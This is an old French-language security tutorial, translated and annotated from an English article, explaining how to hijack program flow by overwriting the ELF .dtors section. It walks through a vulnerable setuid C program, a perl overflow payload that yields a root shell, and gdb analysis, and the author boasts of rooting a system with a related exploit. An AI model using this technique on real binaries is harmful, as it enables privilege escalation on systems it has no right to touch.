................................................................................................................................. Salut,
[- Faille : Ecriture en memoire -=- Systeme affecter : Linux entre autres -=- Type : .dtors modification -]
......................................................................................................................On continue dans la serie des failles sous Unix, avec cette fois une explication d'une methode peut connu
pour exploiter un programme :) Je l'ai recamment decouvertes et peu de personnes autour de moi ne la connaissait.
La seul documentation que j'ai trouver est en Anglais à www.multimania.com/ouah/dtors.txt . Je tient a bien
preciser que mon article est la traduction de celui ci. Je n'ai pas tout traduit, j'ai juste transposer les
parties les plus importantes, mais je penses que c'est suffisament clair. La connaissance du C et de l'exploitation des buffers overflows est requises . Bravo a Juan M. Bello Rivas pour l'explication de cette technique que voici :..............................................................
Le compilateur gcc fournit plusieurs types d'attributs pour les fonctions, il y en a deux qui nous sont particulierement interessante par leurs caracteristiques speciales : constructors et destructors. Ces attributs doivent etre specifiés par le programmeur de ces facon :
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));[- NotedeSauron : Vous devez rajouter __attribute__ lors de l'appel d'une fonction suivit de l'attribut que vous voulez, dans l'exemple on appelle deux fonctions avec les deux attributs qui nous interessent -]
La fonction avec l'attribur `constructor' sera executer avant main(), a l'inverse la fonction declarer avec l'attrbut `destructor' sera executer juste apres l'exit de main().
Cela est reprensenter dans l'image ELF executable pat deux differentes sections : .ctors et .dtors.
[-NdS : De maniere similaire au registre %eip, .ctors et .dtors contiennent l'adresse IP de CS:IP ou va jump le prog juste avant et juste apres main(). Ainsi en modifiant l'une ou l'autre de ces sections, nous pouvons faire pointer le programme vers un shellcode.. Nous allons donc voir une methode pour trouver l'adresse de ces secteurs et y mettre l'adresse de notre shellcode. Je precise que j'ai legerement modifier les code des exemples -]
Il est temps de vous montrer tout cela par une petite demonstration :$ cat > test.c <<EOF
#include <stdio.h>
#include <stdlib.h>static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));int
main(int argc, char *argv[])
{
printf("[2] Execution de main() ... :\n");
printf("start == %p\n", start);
printf("stop == %p\n", stop);exit(EXIT_SUCCESS);
}void
start(void)
{
printf("[1] main() non lancer\n");
}void
stop(void)
{
printf("[3] main() terminer\n");
}EOF
$ gcc -o test test.c
$ ./test
[1] main() non lancer
[2] Execution de main() ...
start == 0x8048480
stop == 0x80484a0
[3] main() termine
[- NdS : Observez l'ordre d'execution des fonctions... Rien de sorcier =) -]
$ objdump -h test [-NdS : objdump vous donne l'adresse de tels secteurs -]
(...)
14 .data 0000000c 08049558 08049558 00000558 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh_frame 00000004 08049564 08049564 00000564 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .ctors 0000000c 08049568 08049568 00000568 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 0000000c 08049574 08049574 00000574 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .got 00000024 08049580 08049580 00000580 2**2
CONTENTS, ALLOC, LOAD, DATA
(...)
$ objdump -s -j .dtors testtest: file format elf32-i386
Contents of section .dtors:
8049574 ffffffff a0840408 00000000 (...)Comme nous l'avons precedamment vu, l'adresse de stop() est stocker dans le .dtors, ce qui correspond a ce que l'on a dit. Notre but ici est l'exploitation d'un programme, donc on oublieras le .ctors puisque l'on ne peut rien faire d'utile avec.
Nous allons essayer maintenant avec un programme normale qui n'a pas de fonction avec ces attributs :)
$ cat > bleh.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>static bleh();
main(int argc, char *argv[])
{
static u_char buf[] = "bleh"; /* On overflow une variable static */if (argc < 2) {
printf("[!] %s <string> :)\n", argv[0]);
exit(0);
}strcpy(buf, argv[1]);
printf("[*] Programme terminer..\n");
exit(EXIT_SUCCESS);
}bleh()
{
printf("[*] Bravo !\n");
system("/bin/sh");
}
EOF
$ gcc -o bleh bleh.c
$ ./bleh [-NdS : la fonction bleh ne s'execute pas -]
[*] Programme terminer..
$ objdump -h bleh
(...)
17 .dtors 00000008 0804955c 0804955c 0000055c 2**2
CONTENTS, ALLOC, LOAD, DATA
(...)
Bien ! .dtors montre qu'il n'y a pas de fonction definit comme destructor.
Maintenant regardons son contenu :$ objdump -s -j .dtors bleh
bleh: file format elf32-i386
Contents of section .dtors:
804955c ffffffff 00000000 (...)Les tags head et tail sont les seuls presents. Il n'y pas d'adresse de fonction specifiees, puisque celle ci
n'existe pas.
Voici le resultat d'une telle requete dans le cas contraire :0xffffffff <function address> <another function address> ... 0x00000000
Comme `buf' a ete declarer comme static et initialiser ( static u_char buf[] = .. ),
son contenu sera stocker dans la section .data qui est tres proche de notre cible, la section .dtors.
Donc nous allons etre en mesure d'atteindre notre objectif facilement en overflowant buf ( la fonction strcpy est vulnerable car elle ecrit en memoire au dela des limites du buffer ). Il y a plusieurs methode pour ecrire sur .dtors, nous avons choisis le buffer overflow via strcpy() car c'est plus simple, cependant il n'est pas necessaire
d'une telle fonction pour exploiter une variable avec de telle attribut ( lors de sa definition ). N'importe quel methode pour ecrire sur cette partie de la memoire fonctionnera (format string attack, direct strcpy by returning
into libc, corrupting a malloc chunk, ...).Notre but est d'executer le code present dans bleh() ( qui n'est jamais appeler dans des conditions normales) en entrant dans .dtors une adresse qui le fera pointer sur bleh(). Nous devons depasser le tag head et overwriter le tag tail ( le 0x000000000 ) pour l'achever.
$ objdump --syms bleh | egrep 'text.*bleh'
080484b0 l F .text 0000001a blehOn voit donc que bleh() est placer a l'adresse 0x080484b0. Il est temps donc d'exploiter ce programme.
$ ./bleh `perl -e 'print "A" x 24; print "\xb0\x84\x04\x08";'`
[*] Programme terminer..
[*] Bravo !
bash# whoami [- Ici le programme est setuid, le programme original ne laissait pas un shell-]
root [- mais ecrivait "Gofio!", c'est plus amusant avec un shell :) -]
bash# exit
Segmentation fault (core dumped)[- Le buffer que l'on overflow ici est trop maigre pour contenir un shellcode. Si nous avions du faire pointer .dtors sur un shellcode au lieu de la fonction bleh(), nous aurions pu placer le shellcode en deuxieme argument de ce programme et faire pointer .dtors sur argv[2], pour plus de renseignement lisez le bon article de Sebas3ien sur le site de ouah, decidement ! -]
Bon voila. Vous etes desormais capable d'exploiter un telle programme, encore que il est preferable d'avoir les sources pour connaitre le nom des fonctions, si c'est vers une fonction que l'on veut faire pointer la section .dtors. Voyons desormais ce qui a creer le Segmentation fault apres l'execution de bleh(); Forcement c'est que le programme a essayer de retourner quelque part dans la stack a un endroit que l'on a ecraser, ce qui peut paraitre ettonant...
Notre test a donc fonctionner comme on l'attendais mais nous allons etudier ce qui s'est passer plus en details, et ce
qui a ete modifiee :# gdb bleh core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAA°
'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40013ed8 in ?? ()
(gdb) bt
#0 0x40013ed8 in ?? ()
#1 0x8048521 in _fini ()
#2 0x4003c25a in exit (status=0) at exit.c:57
#3 0x80484a3 in main ()
#4 0x400339cb in __libc_start_main (main=0x8048460 <main>, argc=2, argv=0xbfff
f8a4, init=0x80482e0 <_init>,
fini=0x804850c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff8
9c) at ../sysdeps/generic/libc-start.c:92
(gdb) maintenance info sections
Exec file:
`/home/rwx/tmp/bleh', file type elf32-i386.(...)
0x0804953c->0x08049550 at 0x0000053c: .data ALLOC LOAD DATA HAS_CONTENTS
0x08049550->0x08049554 at 0x00000550: .eh_frame ALLOC LOAD DATA HAS_CONTENTS
0x08049554->0x0804955c at 0x00000554: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804955c->0x08049564 at 0x0000055c: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x08049564->0x0804958c at 0x00000564: .got ALLOC LOAD DATA HAS_CONTENTS
(...)
Nous voulons maintenant examiner ce qui a ete overwriter.(gdb) x/x 0x08049550
0x8049550 <force_to_data>: 0x41414141On voit que le contenu de .eh_frame a ete ecraser ( utiliser par gcc pour stocker les
"exception handler pointers" pour le langages qu'ils supportent ).(gdb) x/x 0x08049554
0x8049554 <__CTOR_LIST__>: 0x41414141
(gdb) x/8x 0x0804955c
0x804955c <__DTOR_LIST__>: 0x41414141 0x080484b0 0x08049500 <== ( nds : ici c'est 0x00000000, le tag tail )
0x40013ed0
0x804956c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400fb550 0x08048
336 0x400338cc
(gdb)Comme nous pouvons le voir, nous n'avons pas correctement reecrit le tag head a sa place approprier mais il ne semble pas utile du tout, a part a indiquer la position exacte de l'adresse vers laquelle pointe .dtors juste a sa droite.
( nds : le 0xffffffff qu'il devrait y avoir avant l'adresse de .dtors que nous avons reecrite et qui correspond donc a l'adresse de la fonction bleh() ).
Nous pouvons aussi remarquer que le processus segfaults apres _fini(), c'est probablement a cause du fait qu'il cherchait ple tag tail ( 0x00000000 ),inexistant alors. Du coup il a jump a differentes adresse juste apres les notre ( qu'il trouvat dans la Global Offset Table ).Conclusion
----------On aurait pu faire autrement, une alternative aurait ete le placement d'un shellcode. Et cette techniques amenent beacoup d'avantages :
* Si le binaire est en +r ( lecture ), il sera facile de determiner la zone qui va nous interesser pour ecrire dessus et la faire pointer vers le shellcode, juste en analysant l'image ELF et en determinant la position que prendras la section .dtors.
* C'est simple d'utiliser les autres techniques d'overwriting pour exploiter ceci....mais egalement des desavantages :
* Cela requiere que la victime est compiler et linker son programme avec les outils GNU.
* Dans beacoup de cas, il est difficile de trouver a placer notre shellcode avant que le programme ne quite !
[- Si vous avez des questions, venez les posez sur le forum de www.npk.fr.st ou bien ecrivez moi a : sauron@unix-labs.com :)) J'ai rooter ma RedHat 6.2 avec cet exploit sur /bin/su :) L'exploit se trouve sur www.nightbird.fr.st sous le nom de exglibc.txt -]
Have FUN :))
Sauron.
.............................................................................................